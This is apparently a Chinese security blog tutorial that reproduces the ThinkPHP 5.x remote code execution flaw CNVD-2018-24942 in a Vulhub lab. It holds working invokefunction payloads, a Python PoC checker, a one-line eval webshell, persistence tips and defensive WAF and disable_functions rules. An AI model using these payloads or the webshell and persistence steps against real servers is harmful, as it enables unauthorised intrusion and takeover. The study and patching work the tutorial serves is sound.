1. 项目概述:一次对经典漏洞的深度“考古”

CNVD-2018-24942,这个编号对于很多从事Web安全研究或渗透测试的朋友来说,应该不陌生。它指的是ThinkPHP 5.x系列框架在2018年底被公开的一个高危远程代码执行漏洞。虽然时间过去了好几年,但这个漏洞的复现与分析,至今仍然是安全人员理解框架安全、学习漏洞原理的绝佳案例。我之所以想重新梳理这个漏洞,是因为最近在一些SRC漏洞平台和内部渗透测试中,依然能偶尔碰到基于老旧ThinkPHP版本搭建的系统,这个漏洞及其衍生利用思路,有时还能成为突破边界的关键。更重要的是,理解这个漏洞,不仅仅是学会一个EXP的用法,更是理解ThinkPHP框架的路由机制、控制器调用以及PHP语言特性如何被组合利用形成安全突破的过程。这对于挖掘同类型框架的漏洞,有着举足轻重的指导意义。

简单来说,这个漏洞允许攻击者通过精心构造的HTTP请求,在目标服务器上执行任意PHP代码,从而完全控制Web应用。它影响的范围主要是ThinkPHP 5.0.5到5.0.22版本,以及5.1.x的部分版本。漏洞的触发点在于框架对控制器名进行过滤时的不严谨,结合了PHP的命名空间解析特性,最终导致攻击者可以调用到任何类的任何方法。接下来,我将从漏洞成因、环境搭建、手工复现、工具利用以及修复方案等多个维度,带你完整地走一遍这个漏洞的“生命历程”。

2. 漏洞原理深度剖析:从路由到RCE的链条

要理解CNVD-2018-24942,我们必须先拆解ThinkPHP框架处理请求的基本流程。ThinkPHP采用了“路由-控制器-方法”的MVC模式。当用户访问一个URL,例如 http://target.com/index.php/index/index/hello ,框架会将其解析为:

  • 模块 :index
  • 控制器 :index
  • 操作(方法) :hello

最终,框架会尝试实例化 app\index\controller\Index 这个类,并调用其中的 hello 方法。问题就出在框架将URL中的控制器名(本例中的“index”)转换为类名的过程中。

2.1 核心漏洞点:控制器名的过滤缺陷

在ThinkPHP 5.x的 think\App::module 方法中,框架会从请求中获取控制器名( $controller )。为了安全,框架会对控制器名进行过滤,防止包含非法字符。过滤的逻辑大致是:只允许控制器名包含字母、数字、下划线和点(.)。这个过滤规则看起来没问题,但它使用了一个存在缺陷的正则表达式或字符串替换逻辑。

关键在于,攻击者可以通过特定的Payload绕过这个过滤。一个经典的Payload形如: index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 。这里,控制器名部分被传递为 \think\app 。在过滤时,反斜杠 \ 可能被某种方式处理(例如被替换为空),或者过滤逻辑未能有效拦截这种带有命名空间分隔符的写法,导致最终拼接出的类名变成了 app\index\controller\think\app ,而实际上,攻击者意图调用的是全局命名空间下的 \think\App 类。

注意 :这里有一个常见的误解点。很多文章直接说“反斜杠被过滤掉了”,但更精确的说法是,框架的控制器名解析逻辑与PHP的命名空间动态调用特性结合,导致可以跳出预定的控制器目录,调用到框架核心类库中的类。

2.2 利用链条:从任意类调用到代码执行

成功将控制器指向 \think\App 类后,下一步就是调用这个类中的危险方法。 \think\App 类中有一个 invokefunction 方法,看名字就知道,它可以“调用函数”。该方法内部使用了 call_user_func_array 这个PHP函数。

call_user_func_array 是PHP中一个非常强大的函数,它允许你以数组的形式调用一个回调函数,并传递参数。如果这个函数的第一个参数(即要调用的函数名)可以被用户控制,那么这就是一个直接的代码执行漏洞。

在我们的Payload中:

  • function=call_user_func_array :指定 invokefunction 方法内部最终调用的函数是 call_user_func_array
  • vars[0]=phpinfo :这是传递给 call_user_func_array 的第一个参数,即要调用的函数名 phpinfo
  • vars[1][]=1 :这是传递给 call_user_func_array 的第二个参数,即调用 phpinfo 函数时传入的参数数组。

于是,整个链条就清晰了: 有缺陷的控制器过滤 -> 允许调用任意类(如\think\App)-> 调用该类中可触发动态函数执行的方法(invokefunction)-> 通过参数控制动态执行的函数及其参数 -> 实现远程代码执行

2.3 漏洞影响范围与变种

最初公开的漏洞影响ThinkPHP 5.0.5-5.0.22。但后续安全研究人员发现,在5.1.x版本中,虽然入口和路由可能略有不同,但类似的问题依然存在,只是利用的类和方法可能发生了变化,例如利用 \think\Request 类的 input 方法配合过滤器进行代码执行。这体现了框架底层设计上对用户输入传递给危险函数(如 eval , call_user_func , create_function 等)缺乏足够严格控制的一贯风险。

3. 实战复现环境搭建

“纸上得来终觉浅,绝知此事要躬行。” 要真正理解漏洞,亲手复现是最好的方式。我们绝对不可以在未经授权的真实网站上进行测试,因此搭建一个本地或隔离的漏洞环境至关重要。

3.1 环境准备与靶机部署

我推荐使用 Docker 来搭建环境,这最干净也最方便。你可以使用知名的漏洞环境集成项目 Vulhub,里面已经准备好了现成的 ThinkPHP 5.0.20 漏洞环境。

  1. 安装Docker与Docker Compose :确保你的Linux或Mac系统上已经安装了Docker和Docker Compose。Windows用户可以使用Docker Desktop。
  2. 获取Vulhub :从GitHub克隆Vulhub项目。
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/thinkphp/5.0.20-rce
    
  3. 启动环境 :使用一条命令启动靶场。
    docker-compose up -d
    
    执行成功后,Docker会拉取镜像并启动一个包含ThinkPHP 5.0.20的容器。通常环境会运行在 http://your-ip:8080 。你可以通过 docker-compose ps 查看端口映射。

实操心得 :在运行 docker-compose up -d 时,如果遇到端口冲突(比如8080已被占用),可以修改当前目录下的 docker-compose.yml 文件,将 8080:80 改为 8081:80 或其他未被占用的端口。

3.2 验证环境可用性

访问 http://127.0.0.1:8080 ,你应该能看到ThinkPHP的默认欢迎页面,或者一个报错页面(这很正常,说明框架已运行)。为了确认漏洞是否存在,我们可以先发送一个最简单的探测Payload。

4. 手工复现与漏洞利用

手工复现能让你对漏洞的每一个细节都有感知。我们分别尝试GET和POST两种方式进行利用。

4.1 利用方式一:GET请求触发

这是最直观的利用方式。在浏览器地址栏或使用curl工具,构造如下URL:

http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

逐段拆解这个URL:

  • /index.php :ThinkPHP的单一入口文件。
  • ?s= :这是ThinkPHP的PATHINFO模式参数,用于传递路由信息。在默认配置下, s 参数后面的值会被解析为 模块/控制器/操作
  • index/think\app/invokefunction :这里就是漏洞核心。它试图访问 index 模块下的 think\app 控制器(实际是类)的 invokefunction 操作(方法)。
  • &function=call_user_func_array :GET参数,传递给 invokefunction 方法,告诉它最终调用什么函数。
  • &vars[0]=phpinfo&vars[1][]=1 :同样是GET参数,作为数组传递给 invokefunction ,最终成为 call_user_func_array(‘phpinfo’, array(1)) 的参数。

访问这个链接,如果页面返回了完整的 phpinfo() 信息页面,说明漏洞复现成功,服务器已经执行了我们指定的 phpinfo() 函数。

4.2 利用方式二:POST请求与代码执行

执行 phpinfo() 只是验证漏洞存在。真正的远程代码执行(RCE)意味着我们可以执行任意PHP代码。我们需要调用能执行代码的函数,比如 system shell_exec 或者 eval

由于 eval 的参数是一段字符串代码,我们可以通过 file_get_contents(‘php://input’) 来读取POST请求体,从而执行更复杂的代码。构造如下请求:

请求URL:

http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

这个请求会执行系统命令 id ,并回显结果。

更强大的利用:执行POST体内的PHP代码 如果想要执行一段PHP代码,可以使用以下Payload:

请求URL:

http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=eval($_POST[‘cmd’])

请求方式: POST POST数据:

cmd=phpinfo();

这里,我们首先通过GET参数让服务器执行 assert(eval($_POST[‘cmd’])) 。assert函数会判断其参数是否为真,而eval会执行POST参数 cmd 中的代码。然后我们在POST体中传递 cmd=phpinfo(); ,最终服务器就会执行 phpinfo()

重要警告与避坑指南

  1. assert 函数的特殊性 :在PHP 7.1及以上版本, assert() 默认不再作为函数执行字符串代码,因此这个Payload在PHP高版本可能失效。此时可以尝试使用 call_user_func(‘eval’, …) 或其他方式。
  2. 单双引号转义 :在构造Payload时,如果嵌套使用引号,要特别注意转义。例如在命令行中用curl发送时,外层用双引号,内层PHP字符串用单引号,或者反过来,并妥善处理 $ 符号(在bash中需要转义)。
  3. 编码问题 :如果遇到特殊字符,可能需要进行URL编码。例如,空格是 %20 ,加号 + 有时也需要编码。

4.3 使用工具进行自动化利用

手工构造虽然灵活,但在实战中效率较低。我们可以使用一些现成的工具,如 sqlmap nuclei 或专门的PoC脚本。

使用sqlmap: sqlmap不仅用于SQL注入,它也有强大的自定义PoC功能。我们可以使用 --eval 参数或编写tamper脚本,但更直接的是使用其 --os-shell 功能,前提是sqlmap能识别并利用该RCE漏洞。有时需要手动指定注入点和Payload。

编写Python PoC脚本: 对于学习和定制化利用,自己写一个小脚本是最佳选择。下面是一个简单的Python验证脚本示例:

import requests
import sys

def check_vuln(url):
    payload = “/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1”
    target_url = url.rstrip(‘/’) + payload
    try:
        resp = requests.get(target_url, timeout=10)
        if ‘PHP Version’ in resp.text and ‘System’ in resp.text:
            print(f‘[+] {url} 存在ThinkPHP RCE漏洞 (CNVD-2018-24942)’)
            return True
        else:
            print(f‘[-] {url} 未发现漏洞特征’)
            return False
    except Exception as e:
        print(f‘[!] 检查 {url} 时出错: {e}’)
        return False

if __name__ == ‘__main__’:
    if len(sys.argv) != 2:
        print(“用法: python poc.py http://target.com”)
        sys.exit(1)
    check_vuln(sys.argv[1])

这个脚本会发送探测请求,并根据返回页面是否包含 phpinfo 的特定关键词来判断漏洞是否存在。

5. 漏洞挖掘与拓展思考

复现已知漏洞是第一步,更重要的是学会如何发现新的、类似的漏洞。CNVD-2018-24942给我们提供了一个绝佳的范本。

5.1 漏洞挖掘方法论

  1. 框架入口跟踪 :从单一入口文件(如 index.php )开始,跟踪 $_GET $_POST $_REQUEST 等所有用户输入,看它们最终流向何处。重点跟踪那些用于决定类名、方法名、回调函数的参数。
  2. 危险函数/方法回溯 :在框架代码中全局搜索 call_user_func call_user_func_array eval assert create_function preg_replace /e 修饰符(已废弃)等危险函数。检查调用这些函数时的参数是否用户可控。
  3. 路由与控制器解析审计 :仔细审查框架将URL路径或参数解析为类名和方法名的逻辑。关注字符串过滤、替换、拼接的过程。寻找是否存在非严格的黑名单过滤,或者过滤后能否通过特殊字符组合(如 \ ../ ; 等)绕过。
  4. 命名空间与自动加载 :理解PHP的命名空间和自动加载机制。思考用户输入是否能够影响 new ClassName() ClassName::method() 中的 ClassName ,从而实例化或调用非预期的类。

5.2 ThinkPHP框架的其他历史漏洞联想

通过对CNVD-2018-24942的分析,我们可以举一反三,联想到ThinkPHP其他版本或组件的漏洞:

  • ThinkPHP 5.x 其他RCE :除了 \think\App::invokefunction ,还有利用 \think\Request::input 方法配合过滤器进行代码执行的漏洞。其原理是 input 方法可以调用过滤函数,如果过滤函数名用户可控,且参数也可控,就可能形成RCE。
  • ThinkPHP 3.x 版本 :旧版本可能存在因 I() 函数过滤不当导致的SQL注入或代码执行。
  • ThinkPHP 6 的 HttpLog 中间件 :最近的热词提到了ThinkPHP 6的HttpLog中间件。虽然它本身可能不是直接RCE,但任何记录日志的功能,如果日志内容用户部分可控且存储路径或查看方式存在缺陷(如日志文件遍历、包含),都可能形成新的攻击面。这提醒我们,审计时不仅要看核心路由,也要关注中间件、验证器、模板引擎等组件的安全性。

6. 漏洞修复与安全加固方案

对于受到该漏洞影响的系统,修复是刻不容缓的。修复方案分为官方修复和临时加固两种。

6.1 官方修复方案

最根本的解决方案是升级ThinkPHP框架到安全版本。

  • 对于ThinkPHP 5.0.x,应升级至 5.0.23 或更高版本。
  • 对于ThinkPHP 5.1.x,应升级至 5.1.31 或更高版本。

升级后,官方在控制器名过滤、类名解析和危险方法调用等方面增加了更严格的检查。例如,在控制器解析时,严格限制了命名空间格式,防止跳出应用控制器目录。

6.2 临时加固措施

如果因为种种原因无法立即升级,可以采取以下临时加固措施:

  1. 应用层WAF(Web应用防火墙)规则 :在Nginx或Apache配置中,或者应用入口文件前,添加规则拦截包含 think\app invokefunction call_user_func_array 等关键字的异常请求。 Nginx配置示例

    location ~ [^/]\.php(/|$) {
        if ($query_string ~* “(think\\app|invokefunction|call_user_func_array)”) {
            return 403;
        }
        … # 其他fastcgi配置
    }
    

    注意 :这种黑名单方式可能被绕过,例如通过大小写变换、双重编码、空格替换等方式。它只能作为应急缓解手段。

  2. 修改框架核心文件(不推荐) :在 think\App 类的 module 方法中,或在 invokefunction 方法开始处,添加直接退出或日志告警代码。这种方法破坏性大,且升级框架时会丢失修改,仅适用于绝对无法升级且完全可控的环境。

  3. 禁用危险PHP函数 :在 php.ini 配置文件中,通过 disable_functions 指令禁用 system exec shell_exec passthru proc_open assert eval 等函数。这可以阻止攻击者执行系统命令或部分PHP代码,但无法完全防御利用 call_user_func 调用其他敏感函数的攻击,属于一种深度防御措施。

    disable_functions = system,exec,shell_exec,passthru,proc_open,assert,eval
    

6.3 安全开发建议

从开发角度,避免此类漏洞的根本在于:

  • 坚持最小权限原则 :Web服务器进程(如www-data用户)应以低权限运行。
  • 严格进行输入验证 :对所有用户输入进行“白名单”验证,而不仅仅是“黑名单”过滤。明确允许的字符集,拒绝其他一切。
  • 避免动态代码执行 :除非绝对必要,否则避免使用 eval() assert() 以及将用户输入直接作为函数名、类名、方法名传递给 call_user_func() 系列函数。
  • 及时更新依赖 :使用Composer等工具管理依赖,并定期更新框架和第三方库到最新安全版本。

7. 常见问题与排查技巧实录

在复现和研究这个漏洞的过程中,我踩过不少坑,也总结了一些排查技巧。

7.1 复现失败的可能原因及解决

问题现象 可能原因 排查与解决思路
访问靶场返回404或空白页 Docker服务未启动或端口错误 执行 docker-compose ps 查看容器状态和端口映射。确认访问的IP和端口正确。
发送Payload后返回正常页面或ThinkPHP错误页,但没有执行代码 1. 靶场ThinkPHP版本不对。
2. URL构造错误。
3. PHP配置禁用了相关函数。
1. 确认靶场版本在影响范围内(5.0.5-5.0.22)。
2. 检查Payload中的反斜杠 \ 是否正确转义(在URL中需编码或直接书写)。
3. 尝试执行 echo ‘test’; 等简单PHP代码,或检查 phpinfo() disable_functions 项。
使用POST方式执行命令无回显 1. 命令执行函数被禁用。
2. 没有输出命令结果。
3. Payload构造有误。
1. 换用其他命令执行函数,如 passthru(‘id’)
2. 尝试将命令结果写入文件: system(‘id > /tmp/result.txt’) ,再读取该文件。
3. 使用Burp Suite等工具仔细检查POST请求的原始格式,确保参数传递正确。
工具扫描报告漏洞但手工验证失败 工具Payload与目标环境不兼容(如Windows/Linux路径差异、PHP版本差异)。 分析工具发送的Payload,根据目标环境调整。例如,在Windows下写文件路径需用 C:\\Windows\\Temp\\test.txt

7.2 实战中的技巧与进阶利用

  1. 信息收集 :利用漏洞成功后,首先执行 phpinfo() 收集服务器PHP版本、操作系统、开放端口、绝对路径等信息,为后续渗透做准备。
  2. 写入WebShell :通过代码执行漏洞写入一个一句话木马是常见操作。
    // 使用file_put_contents写入
    file_put_contents(‘shell.php’, ‘<?php @eval($_POST[“ant”]);?>’);
    
    注意路径问题,需要知道网站根目录。可以通过 echo realpath(‘.’); 或查看 phpinfo() 中的 _SERVER[“DOCUMENT_ROOT”] 来获取。
  3. 绕过disable_functions :如果系统禁用了命令执行函数,可以尝试其他方式:
    • 使用 scandir() 列目录。
    • 使用 file_get_contents() 读文件。
    • 使用 LD_PRELOAD 等复杂方式绕过(需要编译so文件),这属于更高阶的利用。
  4. 权限维持 :除了写WebShell,还可以考虑写入SSH公钥、创建计划任务(crontab)、添加用户等方式进行权限维持,但这需要当前进程有相应的系统权限。

CNVD-2018-24942的复现与分析之旅到此告一段落。这个漏洞像一把钥匙,打开了理解PHP框架安全、路由解析和动态代码执行风险的大门。我个人的体会是,安全研究不能停留在“会用工具扫出一个漏洞”的层面,必须深入到代码层,理解每一行过滤逻辑为何失效,每一个参数如何流转。只有这样,当下一个“ThinkPHP”出现时,你才能具备独立分析和挖掘的能力。在实战中,遇到老旧系统,不妨多想想那些“过时”的漏洞,它们往往因为管理员的安全意识松懈而成为最有效的突破口。最后,务必记住:所有技术研究都应在合法授权的环境下进行。

更多推荐